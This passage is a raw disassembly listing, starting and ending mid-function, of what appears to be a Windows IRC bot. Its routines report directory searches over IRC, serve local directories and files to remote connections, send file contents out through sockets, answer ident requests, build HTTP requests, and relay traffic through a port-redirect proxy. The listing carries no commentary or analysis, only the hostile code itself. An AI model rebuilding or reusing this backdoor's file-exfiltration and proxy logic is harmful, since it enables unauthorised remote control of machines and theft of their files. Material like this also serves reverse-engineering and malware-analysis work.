ds:dword_427108 ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_427068 ; CloseHandle loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj ; sub_40F6B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+Source] push esi push offset asc_43416C ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B0F7 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E594[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F531 push edi push edi call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_40F936 loc_40F924: ; CODE XREF: sub_40F6B4+280j cmp [ebp+var_318], edi jnz short loc_40F964 push 5 call ds:dword_427078 ; Sleep jmp short loc_40F924 ; --------------------------------------------------------------------------- loc_40F936: ; CODE XREF: sub_40F6B4+26Ej push ebx call dword_4CB6EC ; closesocket call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_434134 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_4151AD add esp, 10h loc_40F964: ; CODE XREF: sub_40F6B4+1B4j ; sub_40F6B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40F96B(char *Str,int,int,char *Source) sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp ; sub_40F531+15Ap Dst = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h Str1 = byte ptr -35Ch var_248 = byte ptr -248h Dest = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4], ebx mov [ebp+var_8], ebx call _memset mov edi, [ebp+Str] push offset asc_42A0A0 ; "\n" push edi ; Str call _strtok add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_40FAC9 ; --------------------------------------------------------------------------- loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj cmp [ebp+Source], ebx push edi ; Str jz loc_40FAAF call _strlen pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send push edi ; Str call _strlen pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 18h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40FAC9 ; --------------------------------------------------------------------------- loc_40FAAF: ; CODE XREF: sub_40F96B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj ; sub_40F96B+142j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send cmp [ebp+Source], ebx jz short loc_40FB64 push [ebp+Source] ; Str call _strlen cmp eax, 2 pop ecx jbe short loc_40FB64 push [ebp+Source] ; Str call _strlen sub eax, 3 pop ecx jz short loc_40FB15 loc_40FB09: ; CODE XREF: sub_40F96B+1A8j mov ecx, [ebp+Source] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB15 dec eax jnz short loc_40FB09 loc_40FB15: ; CODE XREF: sub_40F96B+19Cj ; sub_40F96B+1A5j inc eax push eax ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send loc_40FB64: ; CODE XREF: sub_40F96B+180j ; sub_40F96B+18Ej lea eax, [ebp+var_388] push eax push edi call ds:dword_427000 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+Str], eax push ecx push eax call ds:dword_427118 ; FindNextFileA test eax, eax jz loc_40FF54 mov edi, 1FFh loc_40FB90: ; CODE XREF: sub_40F96B+5E3j cmp [ebp+var_388], ebx jz loc_40FF3C lea eax, [ebp+Str1] push offset a__ ; ".." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+Str1] push offset a__0 ; "." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_427114 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_427110 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_40FC05 mov ecx, offset aAm ; "AM" loc_40FC05: ; CODE XREF: sub_40F96B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC11 sub eax, 0Ch loc_40FC11: ; CODE XREF: sub_40F96B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+Dest] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax ; Dest call _sprintf add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC85 lea eax, [ebp+Str1] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FC85: ; CODE XREF: sub_40F96B+2E0j cmp [ebp+Source], ebx jz loc_40FD6F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_4 ; "%s%s/" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Eh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_40FD25 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD2A ; --------------------------------------------------------------------------- loc_40FD25: ; CODE XREF: sub_40F96B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFE ; --------------------------------------------------------------------------- loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj lea eax, [ebp+Str1] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF3 push ebx push [ebp+var_368] call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi ; Count loc_40FDDF: ; CODE XREF: sub_40F96B+577j lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 1Ch jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj cmp [ebp+Source], ebx jz loc_40FEE7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS ; "%s%s" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Fh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_40FE93 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE98 ; --------------------------------------------------------------------------- loc_40FE93: ; CODE XREF: sub_40F96B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE98: ; CODE XREF: sub_40F96B+526j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDF ; --------------------------------------------------------------------------- loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj push [ebp+var_368] lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFD: ; CODE XREF: sub_40F96B+315j push esi ; Count loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 18h loc_40FF0D: ; CODE XREF: sub_40F96B+444j ; sub_40F96B+483j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send cmp [ebp+arg_8], ebx jz short loc_40FF3C push 7D0h call ds:dword_427078 ; Sleep loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj ; sub_40F96B+246j ... lea eax, [ebp+var_388] push eax push [ebp+Str] call ds:dword_427118 ; FindNextFileA test eax, eax jnz loc_40FB90 loc_40FF54: ; CODE XREF: sub_40F96B+21Aj push [ebp+Str] call ds:dword_42710C ; FindClose cmp [ebp+arg_8], ebx jz short loc_40FF97 mov eax, [ebp+var_8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40F96B+5F5j cmp [ebp+Source], ebx jz short loc_40FFB1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax ; Dest call _sprintf add esp, 10h loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj ; sub_40F96B+644j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp Dst = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4270EC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A9 push esi push ebx call ds:dword_427108 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A2 loc_410036: ; CODE XREF: sub_40FFF1+AFj push 400h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410053 mov edi, [ebp+arg_4] loc_410053: ; CODE XREF: sub_40FFF1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_42711C ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Dst] push edi push eax push ebx call ds:dword_4270E8 ; ReadFile push esi lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_41009D call dword_4CB5E8 ; WSAGetLastError cmp eax, 2733h jnz short loc_4100A2 xor eax, eax loc_41009D: ; CODE XREF: sub_40FFF1+9Bj sub [ebp+arg_4], eax jnz short loc_410036 loc_4100A2: ; CODE XREF: sub_40FFF1+43j ; sub_40FFF1+A8j push ebx call ds:dword_427068 ; CloseHandle loc_4100A9: ; CODE XREF: sub_40FFF1+30j pop edi pop esi pop ebx leave retn sub_40FFF1 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4100AE(char *Str) sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p Str = dword ptr 4 push esi push edi mov edi, [esp+8+Str] xor esi, esi push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_4100D7 loc_4100C1: ; CODE XREF: sub_4100AE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CB mov byte ptr [esi+edi], 2Fh loc_4100CB: ; CODE XREF: sub_4100AE+17j push edi ; Str inc esi call _strlen cmp esi, eax pop ecx jb short loc_4100C1 loc_4100D7: ; CODE XREF: sub_4100AE+11j mov eax, edi pop edi pop esi retn sub_4100AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4100DC(int,char *Str,int,int,int,int,int,int,int) sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p var_4A0 = byte ptr -4A0h Dest = byte ptr -310h Format = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB5C4 ; WSAStartup push 6 push 1 push 2 call dword_4CB6D4 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_14] call dword_4CB654 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAFA pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push ebx call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jz short loc_4101B9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410155 mov eax, offset byte_43D808 loc_410155: ; CODE XREF: sub_4100DC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+Format] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Format] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Format] push eax push ebx call dword_4CB6A4 ; send push esi ; Size lea eax, [ebp+Format] push edi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+Format] push edi push esi push eax push ebx call dword_4CB66C ; recv pop esi loc_4101B9: ; CODE XREF: sub_4100DC+6Bj push ebx call dword_4CB6EC ; closesocket call dword_4CB5AC ; WSACleanup lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F9 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_4101F9: ; CODE XREF: sub_4100DC+102j pop edi pop ebx leave retn sub_4100DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101FD proc near ; DATA XREF: WinMain(x,x,x,x)+445o ; sub_401ACD+436Ao Str = byte ptr -238h Dest = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_8], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push 71h call dword_4CB654 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4CB6D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410361 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_43E59C[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4CB680 ; bind cmp eax, 0FFFFFFFFh jz loc_410361 push 5 push ebx call dword_4CB67C ; listen cmp eax, 0FFFFFFFFh jz loc_410361 mov [ebp+var_C], edi mov edi, 200h loc_410288: ; CODE XREF: sub_4101FD+EAj ; sub_4101FD+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4CB6E8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41035C movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Str] push offset asc_43468C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_4151AD add esp, 14h lea eax, [ebp+Str] push esi push edi push eax push [ebp+var_4] call dword_4CB66C ; recv cmp eax, 0FFFFFFFFh jz short loc_410288 lea eax, [ebp+Str] push esi ; int push eax ; Str call sub_417F80 push 0Ch ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset push esi ; Str1 push esi ; int lea eax, [ebp+Dest] push 2 ; int push eax ; Dest call sub_40B08E add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_4] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jz loc_410288 mov [ebp+var_8], 1 jmp loc_410288 ; --------------------------------------------------------------------------- loc_41035C: ; CODE XREF: sub_4101FD+A0j cmp [ebp+var_8], esi jnz short loc_410388 loc_410361: ; CODE XREF: sub_4101FD+47j ; sub_4101FD+6Bj ... call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Str] push offset asc_434648 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_4151AD add esp, 10h loc_410388: ; CODE XREF: sub_4101FD+162j push ebx call dword_4CB6EC ; closesocket push [ebp+var_4] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_4101FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103AB proc near ; DATA XREF: sub_401ACD+613Co Source = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_44] call dword_4CB654 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CB6D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410517 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E59C[ecx], eax call dword_4CB564 ; WSAAsyncSelect lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4CB680 ; bind test eax, eax jnz loc_410517 push 0Ah push [ebp+arg_0] call dword_4CB67C ; listen test eax, eax jnz loc_410517 loc_41045B: ; CODE XREF: sub_4103AB+C6j ; sub_4103AB+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CB6E8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045B movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_4346F4 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B0F7 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_43E594[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_41053C push esi push esi call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_43E5A4[ecx], eax jz short loc_410502 loc_4104EF: ; CODE XREF: sub_4103AB+155j cmp [ebp+var_30], esi jnz loc_41045B push 32h call ds:dword_427078 ; Sleep jmp short loc_4104EF ; --------------------------------------------------------------------------- loc_410502: ; CODE XREF: sub_4103AB+142j call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_4346B8 ; "-" call sub_415221 pop ecx pop ecx jmp short loc_41051A ; --------------------------------------------------------------------------- loc_410517: ; CODE XREF: sub_4103AB+63j ; sub_4103AB+97j ... mov edi, [ebp+arg_0] loc_41051A: ; CODE XREF: sub_4103AB+16Aj push edi call dword_4CB6EC ; closesocket push [ebp+arg_0] call dword_4CB6EC ; closesocket push [ebp+var_40] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_4103AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41053C proc near ; DATA XREF: sub_4103AB+124o var_1344 = byte ptr -1344h Source = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch Dst = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB6D4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_4106F2 push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4CB654 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4105CC lea eax, [ebp+var_13C] push eax call dword_4CB6D8 ; gethostbyname jmp short loc_4105DA ; --------------------------------------------------------------------------- loc_4105CC: ; CODE XREF: sub_41053C+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB60C ; gethostbyaddr loc_4105DA: ; CODE XREF: sub_41053C+8Ej cmp eax, edi jz loc_4106F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+Dst] push eax push esi call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jz loc_4106F2 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_43477C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B0F7 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43E59C[ebx] mov dword_43E594[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E5A0[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_410723 push edi push edi call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_4106DF loc_41068C: ; CODE XREF: sub_41053C+15Dj cmp [ebp+var_20], edi jnz short loc_41069B push 32h call ds:dword_427078 ; Sleep jmp short loc_41068C ; --------------------------------------------------------------------------- loc_41069B: ; CODE XREF: sub_41053C+153j mov ebx, 1000h loc_4106A0: ; CODE XREF: sub_41053C+19Fj push ebx ; Size lea eax, [ebp+var_1344] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CB66C ; recv cmp eax, edi jle short loc_4106F2 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_4106A0 jmp short loc_4106F2 ; 